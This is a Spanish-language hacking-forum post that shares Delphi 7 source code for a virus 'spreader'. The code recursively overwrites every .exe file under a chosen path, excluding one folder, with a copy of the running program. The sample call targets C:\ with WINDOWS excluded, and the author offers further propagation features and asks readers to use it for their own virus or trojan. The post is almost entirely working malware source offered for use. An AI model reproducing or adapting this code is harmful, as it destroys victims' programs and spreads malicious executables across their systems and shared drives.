Acá les dejo un spreader simple que programe en delphi 7.
Explicación
Como dice la descripción infecta la ruta pasa como argumentos y si se desea excluir alguna carpeta de ese directorio como podría ser WINDOWS. Ya que recordemos que si infectamos C:/ podríamos cargarnos todo el sistema y eso no es la idea.
Por si no entendieron la función se puede llamar en cualquier parte de su código tan solo haciendo : __spreader(TStringList, 'RUTA', 'CARPETA A EXCLUIR');
NOTA: este código lo que hace es comprobar si hay .EXE en la ruta y sus subdirectorios y si los hay, los remplaza con el código de su virus/troyano etc...
También es posible hacer un bucle con directorios y subdirectorios para que la función los valla recorriendo e infectando.
No lo puse pero si me lo piden lo agrego.
Comenten!!
Gracias y espero que les sirva:
Código
{/*******************************************\} { Spreader @Por WARZ0N3 } { Algoritmo de spreading : } { Infeccion .EXE : si; } { Propagacion P2P : si; } { Propagacion USB : si; } { Propagacion MSN : no; } { Exclusion de fichero : si; } {/*******************************************\} { Acerca de... } { Este algoritmo remplaza ejecutables de la } { carpeta usada como argumento + sus } { directorios subyacentes. Tambien es posible } { excluir un directorio que no se quiera } { infectar. } { Ejemplo de uso: } { __spreader(TStringList, 'ruta', 'dir'); } { __spreader(miLista, 'C:/Program Files', } { 'WINDOWS'); } {/*******************************************\} { -Use bajo su propio riesgo!- } { .:: Copyright 2013 ::. } {\*******************************************/} procedure __spreader(lSpr:TSTRINGLIST; pInit:string; pExclude:string); overload; var spreader, Payload : TSEARCHREC; target : string; i, x : integer; sNULL : string; begin SETCURRENTDIR(pInit); if FindFirst('*', FaAnyFile, spreader)=0 then repeat if ((spreader.Attr and faAnyFile)<>0)and((spreader.Name)<>'.') and((spreader.Name)<>'..') then begin target:= Copy(spreader.Name, 0, Length(spreader.Name)); if ExtractFileExt(spreader.Name)='.exe' then begin CopyFile(pChar(ParamStr(0)), pChar(spreader.Name), FALSE); end; if DirectoryExists(target) then begin lSpr.Add(target); end; if DirectoryExists(pExclude) then begin for x:=0 to lSpr.Count-1 do begin lSpr[x]:= StringReplace(lSpr[x], pExclude, '', [rfReplaceAll]); end; end; end; until FindNext(spreader)<>0; for i:=0 to lSpr.Count-1 do begin SETCURRENTDIR(lSpr[i]); if lSpr[i]='' then begin SETCURRENTDIR('..'); end; if FindFirst('*.exe', FaAnyFile, Payload)=0 then repeat CopyFile(pChar(ParamStr(0)), pChar(Payload.Name), FALSE); until FindNext(Payload)<>0; SETCURRENTDIR('..'); end; SysUtils.FindClose(spreader); SysUtils.FindClose(Payload); end; {/*******************************************\} { EJEMPLO DE USO } {/*******************************************\} procedure TForm1.FormCreate(Sender: TObject); const rSPRD : array[0..2] of string=( 'C:\Archivos de programa\eMule', 'C:\Archivos de programa\Ask.com', 'C:\Archivos de programa\MSN' ); var lSpr : TSTRINGLIST; cont : integer; sNULL : string; begin lSpr := TSTRINGLIST.Create; Application.ProcessMessages; { Llamado de la funcion spreader } __spreader(lSpr, 'C:\', { Carpeta a infectar } 'WINDOWS' { Excluir carpeta } ); ZeroMemory(@rSPRD, SIZEOF(rSPRD)); end;
PD: A los admins, tengo una cuenta vieja (ya no la uso ni entre mas) es Baal.
Si pueden borrarla se los agradecería